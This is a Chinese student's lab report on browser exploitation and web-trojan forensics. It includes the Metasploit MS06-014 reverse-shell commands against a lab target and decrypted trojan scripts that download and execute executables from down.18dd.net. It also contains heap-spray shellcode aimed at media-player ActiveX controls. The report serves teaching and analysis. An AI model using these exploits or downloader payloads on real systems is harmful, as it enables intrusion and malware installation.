20211902 毕鑫杰 2021-2022-2 《网络攻防实践》第十三周作业
一、知识梳理
1. Web浏览器的技术发展与安全威胁
1.1 Web浏览器战争与技术发展
Web浏览器是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易的浏览万维网上的文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。
现代浏览器的基本结构与机理
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CSS、ECMAScript及W3C DOM等一系列标准,现代浏览器基本结构如下图所示,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。
现代Web 浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。
除了扩展插件机制之外,现代Web 浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富 Internet 应用。
1.2 Web浏览的安全问题与威胁
Web浏览器作为目前互联网时代最为重要的软件产品,正遭遇着软件安全困境三要素的问题,即复杂性、可扩展性和连通性。
Web浏览器软件的安全困境三要素
复杂性:在复杂性方面,现代 Web 浏览器软件由于需要支持HTTP、HTTPS、FTP 等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、 Flash、Java、SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
可扩展性:而已客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中连接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些而已客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用。
连通性:浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
Web浏览安全威胁位置
如同Web应用服务器端一样,Web浏览环境中的每个组件也都面对着各种不同类型的安全威胁:
- 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
- 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件即相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
- 针对Web浏览器软件及插件程序的渗透攻击威胁:恶意攻击者在地下经济链的驱动下,通过客户端程序攻击向互联网用户桌面像系统中植入恶意木马程序,窃取隐私信息并以此谋取非法利益。
- 针对互联网用户的社会工程学攻击威胁:恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击。
2. Web浏览端的渗透攻击威胁——网页木马
2.1 网页木马安全威胁的产生背景
“网页木马”在国内简称“网马”,某种意义上来说网页木马也具有特洛伊木马的特性——即被隐蔽地挂接在一些提供真实内容的网页上,用户在访问这些网页时,网页木马会隐蔽地向用户计算机中植入恶意程序,与传统的木马程序相比,网页木马还是具有较大的差异性,并体现出更高复杂性。
网页木马的产生与发展背景
网页木马是从恶意网页脚本所孕育和发展出来的。
网页木马发展与流行的驱动力——黑客地下经济链
窃取和出售虚拟资产获取非法盈利的地下经济链在国内黑帽子社区中持续运营了多年,也在驱动着网页木马这一安全威胁一直危害着普通互联网用户。网络虚拟资产盗窃的“黑客”地下经济链中包括下列六种不同类型的参与者:
-
病毒编写者:病毒编写者是由经济利益驱动的一些恶意骇客,他们拥有一定程度的计算机编程能力和技术背景,能够获取公开揭露的漏洞和相应渗透攻击代码信息,并且有能力根据公开的漏洞报告和渗透攻击代码开发他们自己的破解工具或木马程序,然后他们出售这些恶意代码以及躲避杀毒软件的免杀服务进行获利。
-
黑站长/网站骇客:一些个人网站站长利用免得资源吸引了许多访问者,但其中部分黑站长经常出卖他们的顾客,通过植入恶意脚本将网站流量出售给“信封”盗窃者。
-
“信封”盗窃者:“信封”是地下经济链中的行话,指的是窃取的账号和密码信息。“信封”盗窃者只需掌握很少的攻击技能,他们通常从病毒编写者那里购买木马或木马产生器,从黑站长/网站骇客那里购买网站流量,而他们只需要利用这些资源就可以构建网页木马网络,从而窃取各种类型的“信封”。
-
虚拟资产盗窃者:虚拟资产盗窃者可以没有任何技术知识,但他们对地下经济链有深入的了解,他们了解什么网游比较流行,什么样的虚拟资产能卖个好价钱。
-
虚拟资产卖家:地下经济链中的另一个重要参与者是虚拟资产卖家,他们创建在线虚拟商店,构成了产业链的流通环节,这些商店在国内主要的在线交易平台上都很常见。虚拟资产卖家从地下黑市低价购买所取的虚拟资产,然后在公开市场上向玩家出售,由于购买和出售的价格存在较大差异,他们得以从中获得收益。
-
玩家:玩家是网络游戏、即时通信软件增值服务的狂热用户,他们通常是以青少年为主,由于对游戏等在线娱乐的痴迷和狂热,他们经常花费大量金钱购买虚拟资产,构成了地下经济链的基础。
网页木马存在的技术基础——Web浏览端安全漏洞
网页木马存在如下特性:
- 网页木马所攻击的安全漏洞的存在位置非常多样化。
- 一些流行应用软件中的安全漏洞留给网页木马的攻击时间窗口往往更长。
- 一些影响范围广的安全漏洞会被网页木马持续利用,以攻击长时间不进行系统升级与补丁升级或者安装老旧操作系统版本的互联网用户计算机。
2.2 网页木马的机理分析
网页木马的定义特性
DEF:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
对网页木马机理的全方位分析与理解
由于网页木马采用的是客户端渗透攻击的形式,需要 Web 浏览端软件来访问构造的恶意 Web 页面内容,才可能触发渗透攻击过程。因此,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。
此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。
网页木马的攻击技术流程:
上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性:
- 多样化的客户端渗透攻击位置和技术类型
- 分布式、复杂的微观链接结构
- 灵活多变的混淆与对抗分析能力
网页木马的本质核心——浏览器渗透攻击
网页木马的本质核心是利用Web浏览端软件安全漏洞的渗透攻击代码。
另外一类更为常见的网页木马渗透攻击代码是利用了被称为堆内存操纵的技术来实施的。
网页挂马机制
DEF:编写完网页木马渗透攻击代码之后,为了使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站首页上的过程,
网页挂马最主要有如下四类策略:
-
内嵌HTML标签
内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好的隐蔽性和灵活性,攻击者还经常利用层次嵌套和内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。
-
恶意Script脚本
第二类也是很常用的网页挂马策略是利用script脚本标签通过外部引用脚本的方式来包含网页木马。跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签,或者比较少见的windows.open函数弹出一个新的HTML窗口链接网页木马进行攻击。
-
内嵌对象链接
第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载。这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传从而造成这些网站特定页面被挂马的危险后果。
-
ARP欺骗挂马
这种方法不需要真正的攻陷目标网站,在攻击安全防护严密的拥有大量访问用户的著名网站时非常有效,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。
混淆机制
网页木马攻击网络中还采用了大量的混淆技术,来对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网贞木马攻击网络更难被检测和推毁,这些混淆技术也被称为“免杀”。
目前在网页木马中使用比较广泛的混淆方法主要有:
- 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
- 通过大小写变换、十六进制编码、escape 编码、unicode 编码等方法对网页木马进行编码混淆;
- 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚木语言中包含的解密函数,对密文进行解密,再使用document.write () 或 eval () 进行动态输出或执行,此类混淆方法例如 XXTEA网页加密工;
- 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;
- 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
2.3 网页木马的检测与分析技术
基于特征码匹配的传统检测方法
在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马,难以对抗威胁。
基于统计与机器学习的静态分析方法
为应对网页木马普遍采用的代码混淆机制,研究人员采用了多种统计与机器学习方法对混淆及行为特征进行检测,但该类方法实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,同时随着脚本代码混淆技术在源代码版权保护等正常渠道中的广泛应用,这类未能针对网页木马本质特征的检测方法也将造成大量的误报情况,不适用于实际场景。
基于动态行为结果判定的检测分析方法
最为有效的一种方法,这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型 Web 访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木码。
基于模拟浏览器环境的动态分析检测方法
网页木马的混淆机制本质上是利用了浏览器中脚本引繁对脚本代码的解释执行能力,因此安全领域的研究者最新引入了一种基于模拟浏览器环境的动态分析检测方法,还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。
网页木马检测分析技术综合对比
针对网页木马的检测分析方法,主要分为静态和动态分析两大类。
静态分析方法试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法,这类方法对于灵活多变的网页木马形态而言,不可避免地存在无法应对变形或未知攻击的缺陷。
动态行为分析方法实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定,该类方法仅能判定是否网页木马,而无法提供目标组件、利用漏洞位置与类型等更为全面的攻击语义信息。
基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。
防范措施
- 提升操作系统与浏览端平台软件的安全性
- 安装与实时更新反病毒软件
- 养成安全上网浏览的良好习惯
- 安装Mac OS/Linux操作系统,使用Chrome、Safari、Opera等冷门浏览器
3. 网络钓鱼的黑幕
网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。
网络钓鱼攻击的普遍技术流程:
- 攻击者扫描网段,寻找存有漏洞的服务器;
- 服务器被攻陷,并被安装一个 Rootkit 或口令保护的后门工具;
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭配置与测试工作,使得钓鱼网站上线运行;
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网贞内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
具体的欺骗技巧:
- 在指向假冒网站的链接中使用IP地址代替域名;
- 注册发音相近或形似的DNS域名;
- 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些只想真实的目标网站链接;
- 对假冒网站的URL进行编码和混淆;
- 企图攻击用户和网页浏览器存在的漏洞,使之隐藏消息内容的实质;
- 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实网站。
- 架设一个假冒网站,作为目标机构真实网站的代理;
- 通过恶意代码在受害者计算机上安装恶意浏览器助手,将受害者重定向到假冒的钓鱼网站;
- 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件。
防范:
- 提高警惕性;
- 充分利用浏览器、安全软件提供的反钓鱼网站的功能特性;
- 重视访问网站的真实性;
- 学习和修炼提升抵抗社会工程学攻击的能力
二、实践内容
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
三、实践过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
实验环境:
攻击机kali-linux-2022.1-vmware-amd64 IP192.168.200.2
靶机Win2kServer_SP0_target IP192.168.200.124
实验步骤:
- 在kali中输入
msfconsole 命令
,打开Metasploit;
- 使用命令
search MS06-014
搜索MS06-014
渗透攻击模块,发现只有一个可用如图; - 使用该模块进行攻击,输入
use exploit/windows/browser/ie_createobject
:
- 使用命令
set LHOST 192.168.200.2
设置攻击机地址; - 使用命令
set lport 4446
设置攻击端口; - 使用命令
set payload generic/shell_reverse_tcp
设定使用的载荷; - 使用命令
exploit
进行攻击:得到有木马的网址如下为http://192.168.200.2:8080/ZGzpn774kwO6PY
- 在靶机浏览器中访问这一地址http://192.168.200.2:8080/ZGzpn774kwO6PY,返回一段英文字符:
- 此时攻击机中显示靶机到攻击机的session被建立,攻击成功
- 输入
sessions
查看当前连接,使用命令sessions 1
选择会话1,返回C:\Documents and Settings\Administrator\_>
- 输入命令
ipconfig
查看靶机地址为192.168.200.124
: 靶机系统为 Windows 2000
在靶机验合:
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
实验步骤:
- 在云班课课程资源处下载“网页挂马分析实践参考(上).pdf”文档,在其中检索“new09”,发现存在两处
- 从这两处可以看出
start.html
文件在引用new09.htm
文件时没有写绝对路径,所以可以知道new09.htm
文件与start.htm
l 文件在同一目录下。 - 在
new09.htm
文件中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm
文件
- 用 javascript 引用了一个
http://js.users.51.la/1299644.js
文件
- 对它们作 MD5 散列:
- 结果: 7f60672dcd6b5e90b6772545ee219bd3; 23180a42a2ff1192150231b44ffdf3d3
- 在hashed文件中找到对应的文件,用记事本打开。
23180a42a2ff1192150231b44ffdf3d3
中的内容如下,提示不是我们要找的内容。
- 7f60672dcd6b5e90b6772545ee219bd3的内容:
- 看起来很复杂,但实际上这是一种被称为
XXTEA+Base64
的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:
-
xxtea_decrypt
函数的第二个参数\x73\x63\x72\x69\x70\x74
就是密钥。简单用16进制转换一下,得到密钥是script。
访问 http://www.cha88.cn/safe/xxtea.php
(这个网站也访问不了)。使用xxtea在线解密网站。输入秘钥密钥 script
,在下面大的文本框中粘贴7f60672dcd6b5e90b6772545ee219bd3.txt的全部内容,解密得到十六进制加密。在对对引号中的内容进行解密,得到如下结果,将结果保存:
再对解密得到的16进制信息进行字符转换
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}
由上可以看到利用到的应用程序漏洞有:
Adodb.Stream——微软数据库访问对象漏洞
;MPS.StormPlayer——暴风影音漏洞
;POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞
;BaiduBar.Tool——百度搜霸漏洞
;
这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。
- 除此之外还可以看到这个文件还引用了三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们作MD5散列:
http://aa.18dd.net/aa/1.js
5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js
3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js
5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab
1c1d7b3539a617517c49eee4120783b2
- 在hashed文件夹中找到这四个文件:
- 首先看http://aa.18dd.net/aa/1.js ,即
5d7e9058a857aa2abee820d5473c5fa4.txt
:
十六进制加密,解开得:
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open ("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close ();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
- 这个文件前面部分下载了一个
http://down.18dd.net/bb/014.exe
的可执行文件,后面部分是对ADODB 漏洞
的继续利用。 - 看 http://aa.18dd.net/aa/
b.js
,即3870c28cc279d457746b3796a262f166.txt
:
- 开始函数中的六个参数
p,a,c,k,e,d
提示使用packed加密方法,解密后的代码如下所示:
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
- 这里出现了关键字
shellcode
,是二进制的机器码,这个shellcode
并不长,但它要实现很多破坏,不可能把所有的病毒都写在里面。因此它很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。 - URL中必然出现斜线
/
,/
的十六进制ASCII码是2f,在shellcode中找/
,框选的地方共有六处,后四处比较可疑,因为两个2f密集。于是取从第三个2f开始到末尾的内容解密http://down.18dd.net/bb/bf.exe
- 接着看http://aa.18dd.net/aa/pps.js ,即
5f0b8bf0385314dbe0e5ec95e6abedc2
:
- 这次变成了八进制转换,解密字符串结果:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
- 同样有shellcode,用相同的方法得到
http://down.18dd.net/bb/pps.exe
- 最后一个压缩文件将其解压缩,可以得到
bd.exe
执行文件,计算将前三个可执行文件的 URL 的 MD5 值:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
第一条操作图如下,其他一样![](https://img2022.cnblogs.com/blog/2773184/202206/2773184-20220603133540659-636868977.png)
- 目前得到了四个exe文件,即014.exe,bf.exe,pps.exe,bd.exe。可以发现这四个文件在资源管理器中大小相同。
- 校验这四个文件内容的 MD5 值,发现都是相同的
1290ecd734d68d52318ea9016dc6fe63
,可知4个文件完全相同,所以只需要研究其中一个即可。用PEid软件打开任意一个exe文件,发现其是Delphi写的。
- 用 IDA PRO 反汇编这个bbs.exe 文件:
- 可以的看到一开始下载了20个木马文件,在下载过程中IE可能检测到了并给予了保护,此执行文件对保护选择允许运行,绕过了系统的提示。这也就说明了这个可执行文件具有一定面对防护措施的保护能力。
三.攻防对抗实践——web浏览器渗透攻击攻防对抗
任务:攻击方使用 Metasploit
构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。撰写详细实验分析报告,对攻防对抗过程进行总结。
实践过程:
- 由于不会混淆,所以该实践仅分析第一个实践中利用MS06-014漏洞进行分析的渗透代码。
- 实践中已经得到了恶意url
- 右键查看源文件获取攻击页面的源代码,下载查看。
- 可见其对关键指令做了字符串拼接处理和使用了大量的空白和间隔,猜测是为了防止被杀毒软件查杀。将其中无效回车符和空格去除得:
<html> <head> <title></title> <scriptlanguage="javascript"> Function TNnqPqFwATYGhAFN(o,n) { varr=null; try { eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)") }catch(e){} if(!r) { try { eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')") }catch(e){} } if(!r) { try { eval("r=o"+".Cr"+"ea"+"teO"+"bj"+ "ect(n,'','')") }catch(e){} } if(!r) { try { eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)") }catch(e){} } if(!r) { try { eval("r=o"+".Ge"+"tOb"+"ject(n,'')") }catch(e){} } if(!r) { try { eval("r=o"+".Ge"+"tOb"+"ject(n)") }catch(e){} } return(r); } Function MVPXzuoZeLqwiAgmYyyewEJvmOllm(a) { var s=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll"); var 